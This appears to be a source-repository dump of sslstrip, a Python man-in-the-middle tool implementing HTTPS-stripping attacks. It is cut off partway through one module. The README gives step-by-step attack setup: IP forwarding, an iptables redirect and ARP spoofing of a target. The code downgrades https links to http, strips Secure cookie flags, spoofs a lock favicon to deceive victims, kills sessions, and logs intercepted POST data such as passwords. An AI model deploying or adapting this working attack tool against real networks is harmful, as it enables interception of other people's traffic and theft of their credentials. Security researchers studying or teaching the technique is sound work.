├── .github ├── dependabot.yml └── workflows │ └── codeql-analysis.yml ├── .gitignore ├── COPYING ├── README.md ├── lock.ico ├── pyproject.toml ├── requirements.txt ├── setup.py ├── sslstrip.py └── sslstrip ├── ClientRequest.py ├── CookieCleaner.py ├── DnsCache.py ├── SSLServerConnection.py ├── ServerConnection.py ├── ServerConnectionFactory.py ├── StrippingProxy.py ├── URLMonitor.py └── __init__.py /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: github-actions 4 | directory: "/" 5 | schedule: 6 | interval: daily 7 | timezone: Europe/London 8 | - package-ecosystem: pip 9 | directory: "/" 10 | schedule: 11 | interval: daily 12 | timezone: Europe/London 13 | open-pull-requests-limit: 10 14 | target-branch: master 15 | allow: 16 | - dependency-type: direct 17 | - dependency-type: indirect 18 | -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ master ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ master ] 20 | schedule: 21 | - cron: '45 7 * * 3' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'python' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v4 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v3 46 | with: 47 | languages: ${{ matrix.language }} 48 | # If you wish to specify custom queries, you can do so here or in a config file. 49 | # By default, queries listed here will override any specified in a config file. 50 | # Prefix the list here with "+" to use these queries and those in the config file. 51 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 52 | 53 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 54 | # If this step fails, then you should remove it and run the build manually (see below) 55 | - name: Autobuild 56 | uses: github/codeql-action/autobuild@v3 57 | 58 | # ℹ️ Command-line programs to run using the OS shell. 59 | # 📚 https://git.io/JvXDl 60 | 61 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 62 | # and modify them (or add more) to build your code if your project 63 | # uses a compiled language 64 | 65 | #- run: | 66 | # make bootstrap 67 | # make release 68 | 69 | - name: Perform CodeQL Analysis 70 | uses: github/codeql-action/analyze@v3 71 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### VisualStudioCode template 2 | .vscode/* 3 | .vscode/settings.json 4 | .vscode/tasks.json 5 | .vscode/launch.json 6 | .vscode/extensions.json 7 | *.code-workspace 8 | 9 | # Local History for Visual Studio Code 10 | .history/ 11 | 12 | ### JetBrains template 13 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 14 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 15 | 16 | # User-specific stuff 17 | .idea/**/workspace.xml 18 | .idea/**/tasks.xml 19 | .idea/**/usage.statistics.xml 20 | .idea/**/dictionaries 21 | .idea/**/shelf 22 | 23 | # Generated files 24 | .idea/**/contentModel.xml 25 | 26 | # Sensitive or high-churn files 27 | .idea/**/dataSources/ 28 | .idea/**/dataSources.ids 29 | .idea/**/dataSources.local.xml 30 | .idea/**/sqlDataSources.xml 31 | .idea/**/dynamic.xml 32 | .idea/**/uiDesigner.xml 33 | .idea/**/dbnavigator.xml 34 | 35 | # Gradle 36 | .idea/**/gradle.xml 37 | .idea/**/libraries 38 | 39 | # Gradle and Maven with auto-import 40 | # When using Gradle or Maven with auto-import, you should exclude module files, 41 | # since they will be recreated, and may cause churn. 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But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks. 2 | 3 | Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon). 4 | * [![Twitter Follow](https://img.shields.io/twitter/follow/jay_townsend1.svg?style=social&label=Follow)](https://twitter.com/jay_townsend1) Jay "L1ghtn1ng" Townsend @jay_townsend1 5 | 6 | Requirements: 7 | ```pip3 install -r requirements.txt``` 8 | Install the requirements in a virtualenv 9 | 10 | Running: 11 | sslstrip can be run from the source base without installation. 12 | Run as a normal user to see options. 13 | ```python3 sslstrip.py -h``` 14 | 15 | 1. As root, enable IP forwarding:
16 | ```echo "1" > /proc/sys/net/ipv4/ip_forward``` 17 | 18 | 2. As root, setup iptables to intercept HTTP requests:
19 | ```iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port ``` 20 | 21 | 3. Run sslstrip with the options you prefer. 22 | 23 | 4. As root, run arpspoof to redirect traffic to your host:
24 | ```arpspoof -i -t ``` 25 | -------------------------------------------------------------------------------- /lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/L1ghtn1ng/sslstrip/0dc414283d1d45f9e8f8c64dd1dd491418420b52/lock.ico -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools>=68"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [tool.ruff] 6 | # Exclude a variety of commonly ignored directories. 7 | exclude = [ 8 | "tests", 9 | ".eggs", 10 | ".git", 11 | ".git-rewrite", 12 | ".mypy_cache", 13 | ".pyenv", 14 | ".pytest_cache", 15 | ".pytype", 16 | ".ruff_cache", 17 | ".github", 18 | ".venv", 19 | ".vscode", 20 | ".idea", 21 | "__pypackages__", 22 | "build", 23 | "dist", 24 | "site-packages", 25 | "venv", 26 | ] 27 | 28 | line-length = 130 29 | target-version = "py311" 30 | show-fixes = true 31 | 32 | [tool.ruff.lint] 33 | select = ["E4", 34 | "E7", 35 | "E9", 36 | "F", 37 | "I", 38 | "UP", 39 | "TCH", 40 | "FA", 41 | "RUF", 42 | "PT", 43 | ] 44 | ignore = ["S311", "RUF012", "RUF021", "RUF029", "F841"] 45 | 46 | # Allow fix for all enabled rules (when `--fix`) is provided. 47 | fixable = ["ALL"] 48 | unfixable = [] 49 | 50 | # Allow unused variables when underscore-prefixed. 51 | dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" 52 | 53 | [tool.ruff.format] 54 | # Like Black, use double quotes for strings. 55 | quote-style = "single" 56 | indent-style = "space" 57 | 58 | # Like Black, respect magic trailing commas. 59 | skip-magic-trailing-comma = false 60 | 61 | # Like Black, automatically detect the appropriate line ending. 62 | line-ending = "auto" -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | setuptools==75.3.0 2 | Twisted==24.10 3 | pyopenssl==24.2.1 4 | cryptography==43.0.3 5 | service_identity==24.1.0 6 | ruff -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import shutil 3 | 4 | from setuptools import setup 5 | 6 | shutil.copyfile('sslstrip.py', 'sslstrip/sslstrip') 7 | 8 | setup( 9 | name='sslstrip', 10 | version='3.0', 11 | description="A MITM tool that implements Moxie Marlinspike's HTTPS stripping attacks.", 12 | author='Moxie Marlinspike', 13 | author_email='moxie@thoughtcrime.org', 14 | license='GPL', 15 | packages=['sslstrip'], 16 | package_dir={'sslstrip': 'sslstrip/'}, 17 | scripts=['sslstrip/sslstrip'], 18 | data_files=[('share/sslstrip', ['README', 'COPYING', 'lock.ico'])], 19 | ) 20 | -------------------------------------------------------------------------------- /sslstrip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.""" 4 | 5 | __author__ = 'Moxie Marlinspike' 6 | __email__ = 'moxie@thoughtcrime.org' 7 | __license__ = """ 8 | Copyright (c) 2004-2009 Moxie Marlinspike 9 | 10 | This program is free software; you can redistribute it and/or 11 | modify it under the terms of the GNU General Public License as 12 | published by the Free Software Foundation; either version 3 of the 13 | License, or (at your option) any later version. 14 | 15 | This program is distributed in the hope that it will be useful, but 16 | WITHOUT ANY WARRANTY; without even the implied warranty of 17 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 18 | General Public License for more details. 19 | 20 | You should have received a copy of the GNU General Public License 21 | along with this program; if not, write to the Free Software 22 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 23 | USA 24 | 25 | """ 26 | 27 | import argparse 28 | import logging 29 | import sys 30 | 31 | from twisted.internet import endpoints, reactor 32 | from twisted.web import server 33 | 34 | from sslstrip.CookieCleaner import CookieCleaner 35 | from sslstrip.StrippingProxy import StrippingProxy 36 | from sslstrip.URLMonitor import URLMonitor 37 | 38 | 39 | class SSLStripConfig: 40 | VERSION = '3.0' 41 | DEFAULT_LOGFILE = 'sslstrip.log' 42 | DEFAULT_LOGLEVEL = logging.WARNING 43 | DEFAULT_LISTEN_PORT = 10000 44 | DEFAULT_SPOOF_FAVICON = False 45 | DEFAULT_KILL_SESSIONS = False 46 | 47 | 48 | def initialize_logger(logFile: str, logLevel: int) -> None: 49 | try: 50 | logging.basicConfig(level=logLevel, format='%(asctime)s %(levelname)s %(message)s', filename=logFile, filemode='w') 51 | except Exception as e: 52 | print(f'Failed to initialize logger: {e}') 53 | sys.exit(1) 54 | 55 | 56 | def start_reactor(listenPort: int, spoofFavicon: bool, killSessions: bool) -> None: 57 | try: 58 | URLMonitor.get_instance().set_favicon_spoofing(spoofFavicon) 59 | CookieCleaner.getInstance().set_enabled(killSessions) 60 | 61 | strippingFactory = server.Site(StrippingProxy()) 62 | endpoint = endpoints.TCP4ServerEndpoint(reactor, listenPort) 63 | endpoint.listen(strippingFactory) 64 | 65 | print(f'\nsslstrip {SSLStripConfig.VERSION} by Moxie Marlinspike running...') 66 | print(f'Listening on port {listenPort}') 67 | reactor.run() 68 | except Exception as e: 69 | logging.error(f'Failed to start reactor: {e}') 70 | sys.exit(1) 71 | 72 | 73 | def parse_args() -> argparse.Namespace: 74 | parser = argparse.ArgumentParser( 75 | description='sslstrip - SSL MITM stripping tool', formatter_class=argparse.ArgumentDefaultsHelpFormatter 76 | ) 77 | parser.add_argument('-w', '--write', default=SSLStripConfig.DEFAULT_LOGFILE, help='Specify file to log to') 78 | parser.add_argument('-p', '--post', default=False, action='store_true', help='Log only SSL POSTs') 79 | parser.add_argument('-s', '--ssl', default=False, action='store_true', help='Log all SSL traffic to and from server') 80 | parser.add_argument('-a', '--all', default=False, action='store_true', help='Log all SSL and HTTP traffic to and from server') 81 | parser.add_argument('-l', '--listen', type=int, default=SSLStripConfig.DEFAULT_LISTEN_PORT, help='Port to listen on') 82 | parser.add_argument( 83 | '-f', 84 | '--favicon', 85 | default=SSLStripConfig.DEFAULT_SPOOF_FAVICON, 86 | action='store_true', 87 | help='Substitute a lock favicon on secure requests', 88 | ) 89 | parser.add_argument( 90 | '-k', 91 | '--killsessions', 92 | default=SSLStripConfig.DEFAULT_KILL_SESSIONS, 93 | action='store_true', 94 | help='Kill sessions in progress', 95 | ) 96 | return parser.parse_args() 97 | 98 | 99 | def main() -> None: 100 | args = parse_args() 101 | 102 | # Set log level based on verbosity flags 103 | log_level = SSLStripConfig.DEFAULT_LOGLEVEL 104 | if args.all: 105 | log_level = logging.DEBUG 106 | elif args.ssl: 107 | log_level = logging.INFO 108 | elif args.post: 109 | log_level = logging.WARNING 110 | 111 | initialize_logger(args.write, log_level) 112 | start_reactor(args.listen, args.favicon, args.killsessions) 113 | 114 | 115 | if __name__ == '__main__': 116 | main() 117 | -------------------------------------------------------------------------------- /sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | 4 | from twisted.internet import defer, reactor, ssl 5 | from twisted.internet.endpoints import HostnameEndpoint 6 | from twisted.names import client as dns_client 7 | from twisted.web.http import Request 8 | 9 | from sslstrip.CookieCleaner import CookieCleaner 10 | from sslstrip.DnsCache import DnsCache 11 | from sslstrip.ServerConnection import ServerConnection 12 | from sslstrip.ServerConnectionFactory import ServerConnectionFactory 13 | from sslstrip.SSLServerConnection import SSLServerConnection 14 | from sslstrip.URLMonitor import URLMonitor 15 | 16 | 17 | class ClientRequest(Request): 18 | """This class represents incoming client requests and is essentially where 19 | the magic begins. Here we remove the client headers we don't like, and then 20 | respond with either favicon spoofing, session denial, or proxy through HTTP 21 | or SSL to the server. 22 | """ 23 | 24 | def __init__(self, channel, queued, reactor=reactor): 25 | Request.__init__(self, channel, queued) 26 | self.reactor = reactor 27 | self.urlMonitor = URLMonitor.get_instance() 28 | self.cookieCleaner = CookieCleaner.getInstance() 29 | self.dnsCache = DnsCache.getInstance() 30 | self.resolver = dns_client.createResolver() 31 | 32 | def cleanHeaders(self): 33 | headers_to_remove = ['accept-encoding', 'if-modified-since', 'cache-control'] 34 | headers = {k: v for k, v in self.getAllHeaders().items() if k not in headers_to_remove} 35 | return headers 36 | 37 | def getPathFromUri(self): 38 | return self.uri[7:] if self.uri.startswith('http://') else self.uri 39 | 40 | def getPathToLockIcon(self): 41 | paths = ['lock.ico', '../share/sslstrip/lock.ico'] 42 | for path in paths: 43 | if os.path.exists(path): 44 | return path 45 | logging.warning('Error: Could not find lock.ico') 46 | return 'lock.ico' 47 | 48 | def handleHostResolved(self, result, error=None): 49 | if error: 50 | logging.warning(f'Host resolution error: {error!s}') 51 | self.finish() 52 | return 53 | 54 | if not result or not result[0]: 55 | logging.warning(f"Could not resolve host: {self.getHeader('host')}") 56 | self.finish() 57 | return 58 | 59 | address = result[0][0].payload.address 60 | logging.debug(f"Resolved host successfully: {self.getHeader('host')} -> {address}") 61 | host = self.getHeader('host') 62 | headers = self.cleanHeaders() 63 | client = self.getClientIP() 64 | path = self.getPathFromUri() 65 | 66 | self.content.seek(0, 0) 67 | postData = self.content.read() 68 | url = 'http://' + host + path 69 | 70 | self.dnsCache.cacheResolution(host, address) 71 | 72 | if not self.cookieCleaner.isClean(self.method, client, host, headers): 73 | logging.debug('Sending expired cookies...') 74 | self.sendExpiredCookies( 75 | host, 76 | path, 77 | self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path), 78 | ) 79 | elif self.urlMonitor.is_secure_favicon(client, path): 80 | logging.debug('Sending spoofed favicon response...') 81 | self.sendSpoofedFaviconResponse() 82 | elif self.urlMonitor.is_secure_link(client, url): 83 | logging.debug('Sending request via SSL...') 84 | self.proxyRequest( 85 | address, 86 | self.method, 87 | path, 88 | postData, 89 | headers, 90 | self.urlMonitor.get_secure_port(client, url), 91 | is_ssl=True, 92 | ) 93 | else: 94 | logging.debug('Sending request via HTTP...') 95 | self.proxyRequest(address, self.method, path, postData, headers, is_ssl=False) 96 | 97 | def resolveHost(self, host): 98 | address = self.dnsCache.getCachedAddress(host) 99 | logging.debug('Host cached.' if address else 'Host not cached.') 100 | if address: 101 | return defer.succeed([(dns_client.Record_A(address),)]) 102 | else: 103 | return self.resolver.lookupAddress(host) 104 | 105 | def process(self): 106 | logging.debug(f"Resolving host: {self.getHeader('host')}") 107 | host = self.getHeader('host') 108 | deferred = self.resolveHost(host) 109 | deferred.addCallback(self.handleHostResolved) 110 | deferred.addErrback(lambda err: self.handleHostResolved(None, err)) 111 | 112 | def proxyRequest(self, host, method, path, postData, headers, port=80, is_ssl=False): 113 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 114 | connectionFactory.protocol = SSLServerConnection if is_ssl else ServerConnection 115 | 116 | if is_ssl: 117 | ctx = ssl.optionsForClientTLS(self.getHeader('host')) 118 | endpoint = HostnameEndpoint(self.reactor, host, port) 119 | endpoint = ssl.ClientTLSOptions(host, ctx).wrapClientTLS(endpoint) 120 | else: 121 | endpoint = HostnameEndpoint(self.reactor, host, port) 122 | 123 | d = endpoint.connect(connectionFactory) 124 | d.addErrback(lambda err: logging.error(f'Connection error: {err}')) 125 | 126 | def sendExpiredCookies(self, host, path, expireHeaders): 127 | self.setResponseCode(302) 128 | self.setHeader('Connection', 'close') 129 | self.setHeader('Location', 'http://' + host + path) 130 | 131 | for header in expireHeaders: 132 | self.setHeader('Set-Cookie', header) 133 | 134 | self.finish() 135 | 136 | def sendSpoofedFaviconResponse(self): 137 | try: 138 | with open(self.getPathToLockIcon(), 'rb') as icoFile: 139 | self.setResponseCode(200) 140 | self.setHeader('Content-type', 'image/x-icon') 141 | self.write(icoFile.read()) 142 | except OSError: 143 | logging.warning("File error: Couldn't open or read the file") 144 | self.finish() 145 | -------------------------------------------------------------------------------- /sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | 20 | class CookieCleaner: 21 | """This class cleans cookies we haven't seen before. The basic idea is to 22 | kill sessions, which isn't entirely straight-forward. Since we want this to 23 | be generalised, there's no way for us to know exactly what cookie we're trying 24 | to kill, which also means we don't know what domain or path it has been set for. 25 | 26 | The rule with cookies is that specific overrides general. So cookies that are 27 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 28 | just as cookies that are set for foo.com/mail override cookies with the same name 29 | that are set for foo.com/ 30 | 31 | The best we can do is guess, so we just try to cover our bases by expiring cookies 32 | in a few different ways. The most obvious thing to do is look for individual cookies 33 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 34 | set by Javascript instead of a Set-Cookie header, and if we block those, the site 35 | will think cookies are disabled in the browser. So we do the expirations and allow-listing 36 | based on client, server tuples. The first time a client hits a server, we kill whatever 37 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 38 | 39 | """ 40 | 41 | _instance = None 42 | 43 | @classmethod 44 | def getInstance(cls): 45 | if cls._instance is None: 46 | cls._instance = cls() 47 | return cls._instance 48 | 49 | def __init__(self): 50 | self.cleaned_cookies = set() 51 | self.enabled = False 52 | 53 | def set_enabled(self, enabled): 54 | self.enabled = enabled 55 | 56 | def is_clean(self, method, client, host, headers): 57 | if method == 'POST' or not self.enabled or not self.has_cookies(headers): 58 | return True 59 | return (client, self.get_domain_for(host)) in self.cleaned_cookies 60 | 61 | def get_expire_headers(self, method, client, host, headers, path): 62 | domain = self.get_domain_for(host) 63 | self.cleaned_cookies.add((client, domain)) 64 | 65 | expire_headers = [] 66 | for cookie in headers['cookie'].split(';'): 67 | cookie = cookie.split('=')[0].strip() 68 | expire_headers.extend(self.get_expire_cookie_string_for(cookie, host, domain, path)) 69 | 70 | return expire_headers 71 | 72 | @staticmethod 73 | def has_cookies(headers): 74 | return 'cookie' in headers 75 | 76 | @staticmethod 77 | def get_domain_for(host): 78 | host_parts = host.split('.') 79 | return '.' + host_parts[-2] + '.' + host_parts[-1] 80 | 81 | @staticmethod 82 | def get_expire_cookie_string_for(self, cookie, host, domain, path): 83 | path_list = path.split('/') 84 | expire_strings = [] 85 | 86 | base_str_format = f'{cookie}=EXPIRED;Path={{}};Domain={{}};Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n' 87 | expire_strings.append(base_str_format.format('/', domain)) 88 | expire_strings.append(base_str_format.format('/', host)) 89 | 90 | if len(path_list) > 2: 91 | path_sub_part = '/' + path_list[1] 92 | expire_strings.append(base_str_format.format(path_sub_part, domain)) 93 | expire_strings.append(base_str_format.format(path_sub_part, host)) 94 | 95 | return expire_strings 96 | -------------------------------------------------------------------------------- /sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | class DnsCache: 2 | """ 3 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 4 | """ 5 | 6 | _instance = None 7 | 8 | def __init__(self): 9 | self.cache = {} 10 | 11 | def cacheResolution(self, host, address): 12 | self.cache[host] = address 13 | 14 | def getCachedAddress(self, host): 15 | if host in self.cache: 16 | return self.cache[host] 17 | 18 | return None 19 | 20 | @staticmethod 21 | def getInstance(): 22 | if DnsCache._instance is None: 23 | DnsCache._instance = DnsCache() 24 | 25 | return DnsCache._instance 26 | -------------------------------------------------------------------------------- /sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import re 21 | 22 | from .ServerConnection import ServerConnection 23 | 24 | 25 | class SSLServerConnection(ServerConnection): 26 | """ 27 | For SSL connections to a server, we need to do some additional stripping. First we need 28 | to make note of any relative links, as the server will be expecting those to be requested 29 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 30 | """ 31 | 32 | cookieExpression = re.compile(r'([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure', re.IGNORECASE) 33 | cssExpression = re.compile(r'url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)', re.IGNORECASE) 34 | iconExpression = re.compile( 35 | r'', 36 | re.IGNORECASE, 37 | ) 38 | linkExpression = re.compile( 39 | r'<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>', 40 | re.IGNORECASE, 41 | ) 42 | headExpression = re.compile(r'', re.IGNORECASE) 43 | 44 | def __init__(self, command, uri, postData, headers, client): 45 | super().__init__(command, uri, postData, headers, client) 46 | 47 | @property 48 | def log_level(self): 49 | return logging.INFO 50 | 51 | @property 52 | def post_prefix(self): 53 | return 'SECURE POST' 54 | 55 | def handle_header(self, key, value): 56 | if key.lower() == 'set-cookie': 57 | value = self.cookieExpression.sub('\g<1>', value) 58 | super().handleHeader(key, value) 59 | 60 | @staticmethod 61 | def strip_file_from_path(path): 62 | stripped_path, _, _ = path.rpartition('/') 63 | return stripped_path 64 | 65 | def build_absolute_link(self, link): 66 | absolute_link = '' 67 | if not link.startswith(('http', '/')): 68 | absolute_link = 'http://{}{}/{}'.format(self.headers['host'], self.strip_file_from_path(self.uri), link) 69 | 70 | logging.debug('Found path-relative link in secure transmission: %s', link) 71 | logging.debug('New Absolute path-relative link: %s', absolute_link) 72 | elif not link.startswith('http'): 73 | absolute_link = 'http://{}{}'.format(self.headers['host'], link) 74 | 75 | logging.debug('New Absolute link: %s', absolute_link) 76 | 77 | if absolute_link: 78 | absolute_link = absolute_link.replace('&', '&') 79 | self.urlMonitor.add_secure_link(self.client.getClientIP(), absolute_link) 80 | 81 | def replace_links_with_patterns(self, data, pattern, group_num): 82 | iterator = re.finditer(pattern, data) 83 | 84 | for match in iterator: 85 | self.build_absolute_link(match.group(group_num)) 86 | 87 | return data 88 | 89 | def replace_favicon(self, data): 90 | match = re.search(self.iconExpression, data) 91 | if match: 92 | data = re.sub( 93 | self.iconExpression, 94 | '', 95 | data, 96 | ) 97 | else: 98 | data = re.sub( 99 | self.headExpression, 100 | '', 101 | data, 102 | ) 103 | 104 | return data 105 | 106 | def replace_secure_links(self, data): 107 | data = super().replace_secure_links(data) 108 | data = self.replace_links_with_patterns(data, self.cssExpression, 1) 109 | 110 | if self.urlMonitor.is_favicon_spoofing(): 111 | data = self.replace_favicon(data) 112 | 113 | data = self.replace_links_with_patterns(data, self.linkExpression, 10) 114 | 115 | return data 116 | -------------------------------------------------------------------------------- /sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | import gzip 19 | import logging 20 | import re 21 | from io import StringIO 22 | 23 | from twisted.web.http import HTTPClient 24 | 25 | from .URLMonitor import URLMonitor 26 | 27 | 28 | class ServerConnection(HTTPClient): 29 | """The server connection is where we do the bulk of the stripping.""" 30 | 31 | urlExpression = re.compile(r'(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)', re.IGNORECASE) 32 | urlType = re.compile(r'https://', re.IGNORECASE) 33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 34 | 35 | def __init__(self, command, uri, postData, headers, client): 36 | super().__init__() 37 | self.command = command 38 | self.uri = uri 39 | self.postData = postData 40 | self.headers = headers 41 | self.client = client 42 | self.urlMonitor = URLMonitor.get_instance() 43 | self.isImageRequest = False 44 | self.isCompressed = False 45 | self.contentLength = None 46 | self.shutdownComplete = False 47 | 48 | @property 49 | def log_level(self): 50 | return logging.DEBUG 51 | 52 | @property 53 | def post_prefix(self): 54 | return 'POST' 55 | 56 | def send_request(self): 57 | logging.log(self.log_level, f'Sending Request: {self.command} {self.uri}') 58 | self.sendCommand(self.command, self.uri) 59 | 60 | def send_headers(self): 61 | for header, value in self.headers.items(): 62 | logging.log(self.log_level, f'Sending header: {header} : {value}') 63 | self.sendHeader(header, value) 64 | self.endHeaders() 65 | 66 | def send_post_data(self): 67 | logging.warning(f"{self.post_prefix} Data ({self.headers['host']}):\n{self.postData!s}") 68 | self.transport.write(self.postData) 69 | 70 | def connection_made(self): 71 | logging.log(self.log_level, 'HTTP connection made.') 72 | self.send_request() 73 | self.send_headers() 74 | if self.command == 'POST': 75 | self.send_post_data() 76 | 77 | def handle_status(self, version, code, message): 78 | logging.log(self.log_level, f'Got server response: {version} {code} {message}') 79 | self.client.setResponseCode(int(code), message) 80 | 81 | def handle_header(self, key, value): 82 | logging.log(self.log_level, f'Got server header: {key}:{value}') 83 | value = self.replace_secure_links(value) if key.lower() == 'location' else value 84 | self.set_image_request(value) if key.lower() == 'content-type' else value 85 | self.set_compressed(value) if key.lower() == 'content-encoding' else value 86 | self.contentLength = value if key.lower() == 'content-length' else self.contentLength 87 | if key.lower() in ['set-cookie', 'content-length']: 88 | self.client.responseHeaders.addRawHeader(key, value) 89 | else: 90 | self.client.setHeader(key, value) 91 | 92 | def set_image_request(self, value): 93 | if 'image' in value: 94 | self.isImageRequest = True 95 | logging.debug('Response is image content, not scanning...') 96 | 97 | def set_compressed(self, value): 98 | if 'gzip' in value: 99 | logging.debug('Response is compressed...') 100 | self.isCompressed = True 101 | 102 | def handle_end_headers(self): 103 | if self.isImageRequest and self.contentLength is not None: 104 | self.client.setHeader('Content-Length', self.contentLength) 105 | if not self.length: 106 | self.shutdown() 107 | 108 | def handle_response_part(self, data): 109 | self.client.write(data) if self.isImageRequest else super().handleResponsePart(data) 110 | 111 | def handle_response_end(self): 112 | self.shutdown() if self.isImageRequest else super().handleResponseEnd() 113 | 114 | def handle_response(self, data): 115 | if self.isCompressed: 116 | logging.debug('Decompressing content...') 117 | data = gzip.GzipFile('', 'rb', 9, StringIO(data)).read() 118 | 119 | logging.log(self.log_level, f'Read from server:\n{data}') 120 | 121 | data = self.replace_secure_links(data) 122 | 123 | if self.contentLength is not None: 124 | self.client.setHeader('Content-Length', len(data)) 125 | 126 | self.client.write(data) 127 | self.shutdown() 128 | 129 | def replace_secure_links(self, data): 130 | iterator = re.finditer(self.urlExpression, data) 131 | 132 | for match in iterator: 133 | url = match.group() 134 | logging.debug(f'Found secure reference: {url}') 135 | url = url.replace('https://', 'http://', 1).replace('&', '&') 136 | self.urlMonitor.add_secure_link(self.client.getClientIP(), url) 137 | 138 | data = self.urlExplicitPort.sub(r'http://\1/', data) 139 | return self.urlType.sub('http://', data) 140 | 141 | def shutdown(self): 142 | if not self.shutdownComplete: 143 | self.shutdownComplete = True 144 | self.client.finish() 145 | self.transport.loseConnection() 146 | -------------------------------------------------------------------------------- /sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | """ 2 | This file is licensed under the GNU General Public License version 3. 3 | Copyright (c) 2004-2009 Moxie Marlinspike 4 | """ 5 | 6 | import logging 7 | 8 | from twisted.internet.protocol import ClientFactory 9 